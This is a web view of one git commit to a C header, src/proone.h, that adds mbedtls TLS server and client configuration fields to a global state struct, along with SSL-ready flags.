aboutsummaryrefslogtreecommitdiff
path: root/src/proone.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-01-04 09:05:45 +1100
committerDavid Timber <mieabby@gmail.com>2020-01-04 09:05:45 +1100
commit129e12d7685a6ea99fde514ad104a0368a19033d (patch)
treeaf4148f9f47830aa0eea9ef035bd08c61e8b4592 /src/proone.h
parent1120c866527fe439fb51e24fc2e512a24e79c37a (diff)
musl + mbedtls!
Diffstat (limited to 'src/proone.h')
-rw-r--r--src/proone.h18
1 files changed, 18 insertions, 0 deletions
diff --git a/src/proone.h b/src/proone.h
index 803af34..c5d3a60 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -7,6 +7,8 @@
#include <sys/types.h>
+#include <mbedtls/ssl.h>
+
struct prne_global {
uint8_t *host_cred_data;
@@ -21,8 +23,24 @@ struct prne_global {
int lock_shm_fd;
int ny_bin_shm_fd;
bool bin_ready;
+ bool s_ssl_ready;
+ bool c_ssl_ready;
+
prne_unpack_bin_archive_result_t bin_pack;
prne_bin_archive_t bin_archive;
+
+ mbedtls_x509_crt ca;
+ struct {
+ mbedtls_ssl_config conf;
+ mbedtls_x509_crt crt;
+ mbedtls_pk_context pk;
+ mbedtls_dhm_context dhm;
+ } s_ssl;
+ struct {
+ mbedtls_ssl_config conf;
+ mbedtls_x509_crt crt;
+ mbedtls_pk_context pk;
+ } c_ssl;
};
struct prne_shared_global {